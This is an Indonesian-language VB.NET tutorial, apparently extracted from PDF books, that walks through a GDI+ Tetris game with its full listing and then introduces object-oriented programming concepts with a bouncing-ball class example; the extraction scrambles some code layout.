'Rotasi ke bentuk sebelumnya public sub derotate() currentstate = currentstate - 1 'Rotasi if currentstate = -1 then currentstate = 3 end sub

sebelumnya

Metoda CurrentShapeSel Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4 dimensi sarr.
'Mengembalikan sel i,j dari current shape public function currentshapesel(i as integer, return sarr(currentshape,currentstate,i,j) end function j as integer)

Nilai sel yang dikembalikan sangat tergantung pada nilai variable currentshape (bentuk shape), dan currentstate (nomor rotasi) INDOPROG

32

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Misalnya nilai currentshape = 4, dan nilai currentstate = 3

{1,0},{0,1},{1,1},{1,2}

Dan CurrentShapeSel(0,0) akan menghasilkan 1 CurrentShapeSel(0,1) akan menghasilkan 0 Property NextShapeSel Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4 dimensi sarr.
'Mengembalikan sel i,j dari next shape public function nextshapesel(i as integer, j as integer) return sarr(nextshape,0,i,j) 'Bentuk end function

awal

Nilai sel yang dikembalikan sangat tergantung pada nilai variable nextshape (bentuk shape), dan currentstate defaultnya 0, karena nextshape belum mengalami rotasi.

Class TGrid
Class ini berfungsi menyediakan mekanisme Grid pada permainan Tetris, dimana pada memori computer diwakili dengan array dua dimensi, dengan gambaran sebagai berikut :

INDOPROG

33

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Variabel yang digunakan
public public parr(15,25) carr(15,25) as integer as color 'Array menyimpan isi sel pada grid 'Array menyimpan warna sel pada grid

Merupakan array yang mewakili grid dilayar, jika suatu sel terisi gambar, maka nilai parr(x,y) akan berisi nilai 1, dan carr(x,y) akan berisi nilai warna gambar. Kontruktor TGrid Begitu instance dari TGrid terbuat, maka akan mengisi awal array parr menjadi sebagai berikut, yang akan menjadi bingkai dari grid, sehingga area permainan mulai dari (3,0) s/d (12,22)

INDOPROG

34

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

'konstruktur class tgrid public sub new() dim i, j as integer for i = 0 to 15 for j = 0 to 25 parr(i,j) = 1 next j next i for i = 3 to 12 for j = 0 to 22 parr(i,j) = 0 next j next i end sub

'isi bingkai

'isi arena

Metoda TestShape Metoda ini berfungsi mengisi nilai dari shape ke posisi x,y dalam grid, dengan syarat parr(x,y) masih 0
'Menempatkan shape pada posisi x,y di grid public sub putshape(x as integer, y as integer, dim i as integer for i = 0 to 3 s as tshape)

INDOPROG

35

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = 1 carr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = s.currentcolor next i end sub

Misalnya putshape yang ke 4, keposisi 6,21 pada grid, yang akan mengisi nilai ke parr

Metoda TestShape Metoda ini berfungsi mencoba apakah shape dapat ditempatkan pada posisi x,y dalam grid, dengan syarat parr(x,y) masih 0
'Mengembalikan nilai yang menunjukan apakah 'shape dapat ditempatkan pada grid diposisi x,y public function testshape(x as integer, y as integer, s as tshape)_ as boolean dim i as integer for i = 0 to 3 'apakah sel pada grid telah terisi ( > 0 ) if parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) > 0 then return false end if

INDOPROG

36

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

next i return true end function

Metoda CheckGrid Metoda ini berfungsi memeriksa apakah ada baris dalam array parr yang berisi nilai 1 dari kolom 3 s/d 12.
'periksa apakah ada baris yang berhasil diselesaikan pemain public function checkgrid() as integer dim i,j as integer dim b,k as integer dim complete as integer complete = 0 i = 22 do while i > 3 j = 3 do while parr(j,i) <> 0 and j < 13 j=j+1 loop if j = 13 then beep 'sound beep complete = complete + 1 for b = i to 4 step -1 for k = 3 to 12 parr(k,b) = parr(k,b-1) carr(k,b) = carr(k,b-1) next k next b else i = i - 1 end if loop return complete end function end class

Misalnya array parr pada baris 22 berisi nilai 1 mulai baris 3 s/d 12, maka setelah metoda ChekGrid dijalankan akan menghapus baris 22 dan mengeser baris diatasnya ke bawah, dan mengembalikan nilai berapa baris yang berhasil diselesaikan.

INDOPROG

37

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Class Tetris
Class ini merupakan class utama permainan Tetris

Variabel yang digunakan
private private private private private private private private withevents gtimer as new labelscore as new label labelgameover as new label gtgrid as new tgrid gtshape as new tshape g as graphics x,y as integer score as integer system.windows.forms.timer

'instance 'instance

class class

tgrid tshape pada grid

'posisi x,y shape 'score permainan

Konstruktor Tetris
Berfungsi mempersiapkan tampilan form, seperti title form, ukuran form, menempatkan label untuk keterangan score dan gameover, membuat objek Graphics yang akan digunakan untuk menyediakan metoda pengambaran, serta mempersiapkan Shape berikutnya.
public sub new() me.text = "Program Tetris" me.size = new size(450, 600) labelscore.location = new point(61,30) me.controls.add(labelscore) labelgameover.location = new point(200,30) me.controls.add(labelgameover) g = me.creategraphics() score = 0 printscore() nextshape() 'persiapkan end sub

shape

berikutnya

Metoda NextShape
Metoda ini berfungsi mempersiapkan shape berikutnya, dan menset interval timer 200 millidetik, dan posisi awal shape mulai di posisi (7,0)
'metoda mempersiapkan shape private sub nextshape() gtimer.interval = 200 berikutnya 'set interval 200 millidetik

INDOPROG

38

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

gtimer.enabled = true gtshape.generatenextshape() redrawnextshape() x = 7 y = 0 end sub

'mengaktifkan

timer

'cetak shape berikutnya 'koordinat awal di 7,0

Metoda MoveShape
Metoda ini berfungsi menggambarkan animasi pergerakan Shape pada posisi x,y sesuai dengan arah gerakan yang ditentukan pada dx dan dy, misalnya bergerak ke kiri, kama dx = -1, dy = 0
'memindahkan shape keposisi private sub movexy(dx,dy) clearshape() x = x + dx y = y + dy drawshape() end sub x,y 'hapus gambar sebelumnya 'ubah posisi x,y 'gambar diposisi baru

Metoda MoveShape
Metoda ini berfungsi memperbaharui nilai score di layar
'metoda untuk mencetak score dilayar private sub printscore() labelscore.text = "Score : " & score.tostring() end sub

Metoda MoveShape
Metoda ini berfungsi mengubah tulisan di labelgameover menjadi “Game Over”
'metoda untuk mencetak gameover private sub printgameover() labelgameover.text = "Game Over" end sub

Event Tick
Event ini secara otomatis akan dibangkitkan oleh Timer secara berkala untuk mengerakan Shape ke bawah, dengan senantiasa apakah Shape telah mencapai batas gerakan, jika ya, maka akan memanggil metoda putshape pada TGrid. Jika Shape tertahan dibaris < 3 artinya Game Over
'mengerakan shape ke bawah dengan interval waktu tertentu private sub gtimer_tick(sender as object, e as eventargs) _ handles gtimer.tick 'apakah shape masih bisa turun kebawah if gtgrid.testshape(x,y+1,gtshape) then

INDOPROG

39

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

movexy(0,1) 'jika ya pindah shape 1 baris ke bawah else gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid score = score + gtgrid.checkgrid() 'periksa baris yang lengkap redrawgrid() 'cetak ulang grid printscore() 'cetak score 'jika shape tertahan di baris 3, artinya game over if y < 3 then gtimer.enabled = false 'matikan timer karena gameover printgameover() 'tampil pesan gameover else nextshape() 'persiapkan gambar berikutnya end if end if end sub

Event KeyDown
Event ini secara otomatis akan dibangkitkan apabila adanya penekanan tombol oleh pemakai, Jika panah atas akan merotasi shape jika panah kiri akan mengerakan shape ke kiri jika panah kanan akan mengerakan shape ke kanan jika panah bawah akan mempercepat turunya shape
'deteksi penekanan tombol dengan event keydown pada form private sub tetris_keydown(sender as object, e as keyeventargs) _ handles mybase.keydown select case e.keyvalue case 38, 104, 12,101 : 'Panah atas, 8, 5 gtshape.rotate() 'rotasi 'apakah hasil rotasi dapat ditempatkan diposisi gtgrid.testshape(x,y,gtshape) then 'kalau ya, rotasi balik kembali gtshape.derotate() clearshape() 'hapus animasi shape gtshape.rotate() 'rotasi drawshape() 'gambar shape ke layar else gtshape.derotate() end if case 37, 100 : 'Panah kiri, 4 'jika shape dapat ditempatkan kekiri if gtgrid.testshape(x-1,y,gtshape) then movexy(-1,0) 'pindah ke kiri end if case 39, 102 : 'Panah kanan, 6 if gtgrid.testshape(x+1,y,gtshape) then movexy(1,0) end if case 40, 98 : 'Panah bawah, 2 interval dipercepat gtimer.interval = 10 end select end sub

x,y if

INDOPROG

40

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Metoda DrawSel
Metoda ini berfungsi menggambar sel Shape ke layar untuk animasi, metoda ini akan dipanggil oleh metoda drawshape dan OnPaint
'menggambar sel dari suatu shape private sub drawsel(pen as pen, brush as brush, _ x as integer, y as integer, _ w as integer, h as integer) if y > 2 then g.fillrectangle(brush,x*21,y*21,w,h) g.drawrectangle(pen,x*21,y*21,w,h) end if end sub

Metoda DrawShape
Metoda ini berfungsi menggambar masing-masing sel Shape ke layar dengan memanggil metoda DrawSel untuk

'mengambar shape secara sementara private sub drawshape() dim i as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(gtshape.currentcolor) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1), _ 20,20) next i end sub

Metoda DrawShape
Metoda ini berfungsi menghapus masing-masing sel (warna hitam) Shape di layar dengan memanggil metoda DrawSel untuk

'menghapus shape sementara private sub clearshape() dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1),20,20) next i end sub

Metoda ReDrawNextShape
Metoda ini berfungsi menggambar NextShape di layar setiap adanya perubahan nextshape

INDOPROG

41

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

'mengambar ulang nextshape private sub redrawnextshape dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) g.fillrectangle(brush,300,60,120,120) pen.color = color.white brush.color = gtshape.nextcolor for i = 0 to 3 drawsel(pen,brush, _ 16+gtshape.nextshapesel(i,0), 4+gtshape.nextshapesel(i,1), 20,20) next i end sub

_ _

Metoda ReDrawGrid
Metoda ini berfungsi menggambar ulang Grid dilayar
'mengambar ulang grid private sub redrawgrid dim i,j as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(color.red) for i = 3 to 12 for j = 3 to 22 if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid pen.color = color.white brush.color = gtgrid.carr(i,j) drawsel(pen,brush,i,j,20,20) else pen.color = color.black brush.color = color.black drawsel(pen,brush,i,j,20,20) end if next j next i pen.color = color.black g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1) end sub

Metoda OnPaint
Metoda OnPaint akan secara otomatis diaktifkan oleh windows setiap kali layar form Tetris digambar ulang (misalnya waktu Maximize dan Minimize)
'melakukan overide terhadap sub onpaint pada base class 'untuk menggambar isi grid setiap proses refresh pada form protected overrides sub onpaint(e as painteventargs) redrawgrid() redrawnextshape() end sub

INDOPROG

42

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

Program Kongkret
option explicit on imports system imports system.drawing imports system.windows.forms imports microsoft.visualbasic public class tetris : inherits system.windows.forms.form

<system.STAThread> _ public shared sub main() randomize() application.run(new tetris) end sub private private private private private private private private withevents gtimer as new labelscore as new label labelgameover as new label gtgrid as new tgrid gtshape as new tshape g as graphics x,y as integer score as integer system.windows.forms.timer

'instance 'instance

class class

tgrid tshape pada grid

'posisi x,y shape 'score permainan

public sub new() me.text = "Program Tetris" me.size = new size(450, 600) labelscore.location = new point(61,30) me.controls.add(labelscore) labelgameover.location = new point(200,30) me.controls.add(labelgameover) g = me.creategraphics() score = 0 printscore() 'persiapkan nextshape() end sub 'metoda mempersiapkan shape berikutnya private sub nextshape() gtimer.interval = 200 gtimer.enabled = true gtshape.generatenextshape() redrawnextshape() x = 7 y = 0 end sub 'memindahkan shape keposisi private sub movexy(dx,dy) clearshape() x = x + dx y = y + dy drawshape() end sub x,y

shape

berikutnya

'set interval 200 millidetik 'mengaktifkan timer 'cetak shape berikutnya 'koordinat awal di 7,0

'hapus gambar sebelumnya 'ubah posisi x,y 'gambar diposisi baru

INDOPROG

43

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

'metoda untuk mencetak score dilayar private sub printscore() labelscore.text = "Score : " & score.tostring() end sub 'metoda untuk mencetak gameover private sub printgameover() labelgameover.text = "Game Over" end sub 'mengerakan shape ke bawah dengan interval waktu tertentu private sub gtimer_tick(sender as object, e as eventargs) _ handles gtimer.tick 'apakah shape bisa turun kebawah if gtgrid.testshape(x,y+1,gtshape) then movexy(0,1) 'pindah shape 1 baris ke bawah else gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid score = score + gtgrid.checkgrid() 'periksa baris yang lengkap redrawgrid() 'cetak ulang grid printscore() 'cetak score 'jika shape tertahan di baris 3, artinya game over if y < 3 then gtimer.enabled = false 'matikan timer karena gameover printgameover() 'tampil pesan gameover else nextshape() 'persiapkan gambar berikutnya end if end if end sub 'deteksi penekanan tombol dengan event keydown pada form private sub tetris_keydown(sender as object, e as keyeventargs) _ handles mybase.keydown select case e.keyvalue case 38, 104, 12,101 : 'Panah atas, 8, 5 gtshape.rotate() 'rotasi 'apakah hasil rotasi dapat ditempatkan diposisi gtgrid.testshape(x,y,gtshape) then 'kalau ya, rotasi balik kembali gtshape.derotate() clearshape() 'hapus animasi shape gtshape.rotate() 'rotasi drawshape() 'gambar shape ke layar else gtshape.derotate() end if case 37, 100 : 'Panah kiri, 4 'jika shape dapat ditempatkan kekiri if gtgrid.testshape(x-1,y,gtshape) then movexy(-1,0) 'pindah ke kiri end if case 39, 102 : 'Panah kanan, 6 if gtgrid.testshape(x+1,y,gtshape) then movexy(1,0) end if case 40, 98 : 'Panah bawah, 2 interval dipercepat

x,y if

INDOPROG

44

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

gtimer.interval end select end sub

=

10

'menggambar sel dari suatu shape private sub drawsel(pen as pen, brush as brush, _ x as integer, y as integer, _ w as integer, h as integer) if y > 2 then g.fillrectangle(brush,x*21,y*21,w,h) g.drawrectangle(pen,x*21,y*21,w,h) end if end sub 'mengambar shape secara sementara private sub drawshape() dim i as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(gtshape.currentcolor) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1), _ 20,20) next i end sub 'menghapus shape sementara private sub clearshape() dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1),20,20) next i end sub 'mengambar ulang nextshape private sub redrawnextshape dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) g.fillrectangle(brush,300,60,120,120) pen.color = color.white brush.color = gtshape.nextcolor for i = 0 to 3 drawsel(pen,brush, _ 16+gtshape.nextshapesel(i,0), 4+gtshape.nextshapesel(i,1), 20,20) next i end sub

_ _

'mengambar

ulang

grid

INDOPROG

45

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

private sub redrawgrid dim i,j as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(color.red) for i = 3 to 12 for j = 3 to 22 if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid pen.color = color.white brush.color = gtgrid.carr(i,j) drawsel(pen,brush,i,j,20,20) else pen.color = color.black brush.color = color.black drawsel(pen,brush,i,j,20,20) end if next j next i pen.color = color.black g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1) end sub 'melakukan overide terhadap sub onpaint pada base class 'untuk menggambar isi grid setiap proses refresh pada form protected overrides sub onpaint(e as painteventargs) redrawgrid() redrawnextshape() end sub end class

public class tgrid public parr(15,25) as integer grid public carr(15,25) as color grid 'konstruktur class tgrid public sub new() dim i, j as integer for i = 0 to 15 for j = 0 to 25 parr(i,j) = 1 next j next i for i = 3 to 12 for j = 0 to 22 parr(i,j) = 0 next j next i end sub

'Array menyimpan isi sel pada 'Array menyimpan warna sel pada

'isi bingkai

'isi arena

'Mengembalikan nilai yang menunjukan apakah 'shape dapat ditempatkan pada grid diposisi x,y public function testshape(x as integer, y as integer, s as tshape) _ as boolean dim i as integer

INDOPROG

46

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

for i = 0 to 3 'apakah sel pada grid telah terisi if parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) > 0 then return false end if next i return true end function 'Menempatkan shape pada posisi x,y di grid public sub putshape(x as integer, y as integer, s as tshape) dim i as integer for i = 0 to 3 parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = 1 carr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = s.currentcolor next i end sub 'periksa apakah ada baris yang berhasil diselesaikan pemain public function checkgrid() as integer dim i,j as integer dim b,k as integer dim complete as integer complete = 0 i = 22 do while i > 3 j = 3 do while parr(j,i) <> 0 and j < 13 j=j+1 loop if j = 13 then beep 'sound beep complete = complete + 1 for b = i to 4 step -1 for k = 3 to 12 parr(k,b) = parr(k,b-1) carr(k,b) = carr(k,b-1) next k next b else i = i - 1 end if loop return complete end function end class public class tshape private currentshape as integer private nextshape as integer public currentcolor as color public nextcolor as color private currentstate as integer

'menyimpan nomor current shape 'menyimpan nomor next shape 'menyimpan warna current shape 'menyimpan warna next shape 'nomor rotasi shape

INDOPROG

47

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta bentuk rotasinya private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}, _ {{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}}, _ {{{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}}, _ {{{0,0},{0,1},{0,2},{1,2}}, _ {{0,0},{0,1},{1,0},{2,0}}, _ {{0,0},{1,0},{1,1},{1,2}}, _ {{0,1},{1,1},{2,0},{2,1}}}, _ {{{0,0},{0,1},{0,2},{1,1}}, _ {{0,0},{1,0},{1,1},{2,0}}, _ {{1,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,1}}}, _ {{{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}, _ {{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}}, _ {{{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}, _ {{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}}} 'konstrutor untuk class tshape public sub new() generateshape(nextshape, nextcolor) end sub 'Membuat next shape berikutnya, dan menset current shape public sub generatenextshape() currentshape = nextshape currentcolor = nextcolor currentstate = 0 'rotasi ke 0 generateshape(nextshape, nextcolor) 'buat nextshape end sub

baru

'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private sub generateshape(byref shape as integer, _ byref shapecolor as color) dim c as integer 'random untuk shape shape = int(rnd*6) c = int(rnd*8) 'random untuk shape color select case c case 0 : shapecolor = color.red case 1 : shapecolor = color.green case 2 : shapecolor = color.blue case 3 : shapecolor = color.orange case 4 : shapecolor = color.pink case 5 : shapecolor = color.cyan case 6 : shapecolor = color.gray case else shapecolor = color.magenta

INDOPROG

48

Pemrograman GDI+ pada VB.NET

Hendra, S.T.

end select end sub 'Rotasi ke bentuk berikutnya public sub rotate() currentstate = currentstate + 1 if currentstate = 4 then currentstate = 0 end sub 'Rotasi ke bentuk sebelumnya public sub derotate() currentstate = currentstate - 1 if currentstate = -1 then currentstate = 3 end sub 'Mengembalikan sel i,j dari current shape public function currentshapesel(i as integer, return sarr(currentshape,currentstate,i,j) end function

'Rotasi berikutnya 'Kembali ke bentuk awal

'Rotasi

sebelumnya

j

as

integer)

'Mengembalikan sel i,j dari next shape public function nextshapesel(i as integer, j as integer) return sarr(nextshape,0,i,j) 'Bentuk end function end class

awal

Kompilasi Program
Vbc tetris.vb /r:system.dll /r:system.drawing.dll /r:system.windows.forms.dll

INDOPROG

49

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Pemrograman Berorientasi Objek pada VB.Net
Oleh : Hendra, ST.

Buku ini membahas tentang konsep dasar pemrograman berorientasi objek (OOP) dan bagaimana melakukannya pada VB.NET, serta memberikan contoh-contoh keunggulan OOP dibandingkan dengan pendekatan konvensional. Penguasaan terhadap teknik pengembangan berorientasi objek merupakan suatu nilai tambah bagi programmer dewasa ini, karena trend bahasa pemrograman menuju kearah pendekatan OOP, terutama sejak kemunculan Java yang 100% menerapkan OOP. Penulis yakin bagian ini merupakan hal yang tersulit bagi programmer yang ingin melakukan migrasi dari VB6 ke VB.NET, karena OOP merupakan hal yang benar-benar baru. Untuk mempelajari buku ini anda tidak perlu menginstalasi Visual Studio .NET, tetapi anda cukup menginstalasi .Net Framework yang dapat didownload secara gratis dari website Microsoft. Semua contoh dan latihan dibuku ini dapat dikompilasi langsung dari Dos prompt dengan menggunakan kompiler Visual Basic yang langsung tersedia setelah anda menginstalasi .Net Framework.

INDOPROG

1

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Dasar OOP
Visual Basic merupakan bahasa yang Object-Based (komponen-komponen program dibuat dalam bentuk objek), sedangkan VB.NET adalah Object Oriented, hal ini berarti bahwa VB.NET merupakan bahasa yang benar-benar berorientasi object dengan mendukung empat pilar utama dari OOP yaitu Polymorphism, Inheritance, Abstraction dan Encapsulation. Kalau anda adalah programmer yang terbiasa dengan pendekatan procedural terstruktur, maka anda akan baru dengan beberapa istilah OOP yang kita sebutkan diatas, dan memang hal tersebut senantiasa menjadi masalah bagi programmer yang berasal dari VB dan ingin beralih ke VB.NET. Lalu timbul pertanyaan, apakah pada kita harus menguasai dan memahami semua istilah diatas baru dapat membuat program aplikasi dengan VB.NET ? Tentu saja jawabannya tidak, tetapi sebagai programmer VB.NET yang baik, maka konsep dari OOP tidak dapat diabaikan.

Mengapa harus pendekatan OOP?
Tujuan utama dari pengembangan pendekatan berorientasi objek (OOP) adalah untuk menghilangkan beberapa kelemahan yang terdapat pada pendekatan procedural. Pada OOP data diperlakukan sebagai elemen yang penting dan tidak boleh mengalir secara bebas dalam program. Data yang terikat kepada function dan harus dilindungi terhadap kemungkinan perubahan dari luar function. Catatan : Anda dapat melihat konsep OOP seperti suatu objek Televisi, dimana sebagai pemakai kita tidak perlu terlalu pusing dengan komponen apa saja yang bekerja didalam televise tersebut, tetapi sebagai pemakai kita cukup mengerti bagaimana menghidupkan, memilih channel, mengubah volume suara, dan beberapa setting dasar. OOP memungkinkan untuk pemecahan masalah kedalam sejumlah entitas yang disebut sebagai objek dan kemudian mengembangkan data dan fungsi disekitar objek tersebut. Salah satu manfaat yang terpenting dari OOP adalah pemanfaatan kembali. Beberapa kemampuan utama dari OOP adalah sebagai berikut : Menekankan pada data dari pada procedure Program terbagi kedalam objek-objek Data disembunyikan dari akses oleh function-function eksternal Objek dapat berkomunikasi satu dengan yang lain melalui function Data baru dan function dapat dengan mudah ditambahkan pada saat dibutuhkan. • Mengikuti pendekatan buttom up.
• • • • •

INDOPROG

2

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Konsep dari OOP:
• • • • •

Objects Classes Data Abstraction dan Encapsulation Inheritance Polymorphism

Objek
Objek merupakan dasar dari entitas run-time dalam suatu sistem berorientasi objek. Masalah pada pemrograman adalah menganalisa dalam arti objek dan komunikasi alamiah diantara mereka. Ketika suatu program dijalankan, objek berinteraksi satu dengan yang lain dengan saling mengirim message. Objek-objek yang berbeda berinteraksi satu dengan yang lain tanpa mengetahui detail data dari masing-masing data ataupun koding.

Class
Suatu class adalah suatu koleksi dari objek-objek yang bertipe sama. Setelah suatu class telah didefinisikan, sejumlah dari objek-objek dapat dibuat berdasarkan class tersebut.

Catatan : Istilah Class dan Objek sering dicampuradukan, pada objek merupakan instance dari suatu class pada saat runtime, jadi pada saat design, class merupakan cetak biru bagi objek-objek yang akan dibuat pada saat runtime. Anda dapat mengasosiasikan class dengan gambar denah dari rancangan rumah, dan selanjutnya berdasarkan denah ini akan dibangun rumah-rumah (objek) sebenarnya.

Data Abstraction dan Encapsulation
Abstraction mengacu pada usaha untuk menampilkan hal-hal yang penting tanpa mengikutsertakan detail latarbelakang ataupun penjelasan. Class-class menggunakan konsep dari abstraksi dan mendefinsikannya sebagai suatu daftar dari atribut-atribut abstrak.

INDOPROG

3

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Catatan : Sebagaimana contoh sebelumnya bahwa TV merupakan gambaran dari Abstraksi, dimana yang perlu ditonjolkan pada pemakai adalah hal-hal penting bagaimana menghidupkan dan mematikan serta berbagai setting dasar, sedangkan permasalahan teknis yang berada didalam kotak TV seperti rangkaian elektronik disembunyikan dari pemakai. Jadi dalam hal ini TV dianggap suatu black box. Menyimpan data dan fungsi-fungsi ke dalam suatu unit tunggal (class) adalah encapsulation. Data tidak dapat diakses oleh dunia luar dan hanya fungsi-fungsi yang mana berada dalam class tersebut dapat mengaksesnya.

Inheritance
Inheritance adalah proses yang mana objek-objek dapat mengusahakan member dari objek class lain. Pada OOP inheritance menyediakan pemakaian kembali, seperti, menambah kemampuan baru pada class yang telah ada dengan tanpa melakukan modifikasi langsung terhadap class tersebut. Hal ini dilakukan dengan menurunkan suatu class baru dari yang class telah ada. Class baru tersebut memiliki kombinasi dari keduanya. Catatan : Pendekatan inheritance dapat dipahami sebagai pengembangan produk, dimana engineer tidak perlu merancang produk dari awal, tetapi dengan melakukan modifikasi terhadap produk yang telah ada untuk menghasilkan suatu produk baru.

Polymorphism
Polymorphism adalah kemampuan untuk memiliki lebih dari satu bentuk. Suatu operasi dapat menunjukan prilaku yang berbeda pada instance yang berbeda. Prilaku tersebut tergantung kepada tipe data yang digunakan dalam operasi. Polymorphism secara ekstensif digunakan dalam implementasi Inheritance. Dengan polymorphism kita dapat membuat beberapa fungsi dengan nama yang sama tetapi memiliki daftar argument yang berbeda baik dari segi jumlah maupun tipe datanya (Overloading), sehingga dalam implementasinya fungsi akan dioperasikan berdasarkan argumen yang diberikan, sehingga program dapat bereaksi secara tepat sesuai dengan jenis tipe data dan jumlah argument. Kemudian polymorphism juga memiliki fungsi dimana pemanfaatan variable dengan tipe base class untuk menampung instance dari class turunannya dan menjalankan metoda class turunannya.

Keunggulan dari OOP

INDOPROG

4

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

OOP memiliki keunggulan berikut diatas pendekatan konvensional:

OOP menyediakan struktur modular yang jelas untuk program, yang mana cocok untuk mendefinisikan tipe data abstrak yang merupakan detail dari implementasi disembunyikan serta unit memiliki interface yang telah didefinisikan dengan jelas. • OOP memudahkan maintenance dan modifikasi terhadap kode yang telah sebagai objek baru yang dapat dibuat dengan perubahan yang minimal • OOP menyediakan suatu kerangka kerja yang baik untuk kode library yang mana menyediakan komponen software yang secara mudah dapat disesuaikan dan dimodifikasi oleh programmer. Hal ini khususnya sangat berguna untuk pengembangan user interface secara grafik. Catatan : Setelah anda membaca uraian tersebut diatas, awalnya anda akan merasa kesulitan untuk memahami dan menerapkan beberapa konsep-konsep diatas pada program anda, dan hal tersebut adalah wajar. Untuk mentransformasi gaya pemrograman anda dari pendekatan procedural terstruktur menjadi OOP membutuhkan waktu dan usaha. Sebab pada pendekatan procedural terstruktur focus programmer langsung kepada logika dan koding untuk pencapaian hasil, sedangkan pada OOP kita harus melakukan abstraksi terhadap data dan fungsi yang berkaitan menjadi class, dan selanjutnya class-class tersebut berinteraksi dengan message untuk mencapai tujuan akhir. Untuk membantu pengertian dan menunjukan keunggulan konsep OOP, penulis akan memberikan beberapa contoh keunggulan pemanfaatan OOP pada bagian-bagian selanjutnya.

INDOPROG

5

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

OOP pada Visual Basic
Membuat Class
Pemrograman OOP pada Visual Basic dapat dilakukan dengan merancang class dari objek dengan menggunakan struktur class sebagai berikut : Class nama 'member [variable, property, method and event declarations] End Class Contoh : Misalnya kita ingin membuat program animasi bola pantul yang memanfaatkan GDI+ dengan pendekatan berorientasi objek, maka sebagai langkah awal adalah merancang Class untuk bola pantul. Pada tahap rancangan, kita harus dapat mendefinisikan aksi apa saja yang harus dapat dilakukan oleh objek bola pantul yaitu bergerak (move) yang tentu saja memiliki koordinat awal (x,y) yang bergerak kearah tertentu (dx, dy). Dalam pergerakan dilayar, tentu saja dibatasi oleh area tertentu (sx,sy). Kemudian sebagai wujud dari animasi gerakan bola dilayar, kita perlu menyediakan aksi draw dan clear. Adapun rancangan class tersebut diatas dalam bentuk terprogram adalah sebagai berikut :
Class Pantul Protected x As Single Protected y As Single Private sx As Single Private sy As Single Private dx As Single Private dy As Single Public Sub New(f sx = f.width \ sy = f.height \ x = rnd*(sx-2) y = rnd*(sy-2) dx = 1 dy = 1 Draw(f) End Sub as form) 30 30 + 2 + 2 'posisi x dilayar 'posisi y dilayar 'jumlah kolom x 'jumlah baris y 'arah bola terhadap x 'arah bola terhadap y 'constructor 'lebar form dibagi 'tinggi form dibagi 'posisi awal random

30 30

'arah diagonal ke bawah

Public Sub Draw(f as form) 'metoda 'gambar bola ukuran 30x30 dengan warna merah Dim MyGraphic As Sistem.Drawing.Graphics = f.CreateGraphics Dim MyPen As New Sistem.Drawing.Pen(Sistem.Drawing.Color.Red,3) MyGraphic.DrawEllipse(MyPen,x*30,y*30,30,30)

INDOPROG

6

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

